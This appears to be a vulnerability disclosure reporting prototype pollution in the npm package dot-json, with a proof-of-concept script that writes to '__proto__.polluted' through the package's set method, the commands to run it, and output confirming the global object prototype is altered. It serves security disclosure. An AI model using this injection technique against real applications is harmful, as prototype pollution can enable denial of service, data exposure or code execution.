Prototype Pollution in maikelvl/dot-json


Reported on

Nov 18th 2020


dot-json is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var dotJson = require("dot-json")
var myfile = new dotJson('myfile.json');
console.log("Before : " + {}.polluted);
myfile.set("__proto__.polluted", "Yes! Its Polluted").save();
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i dot-json # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted
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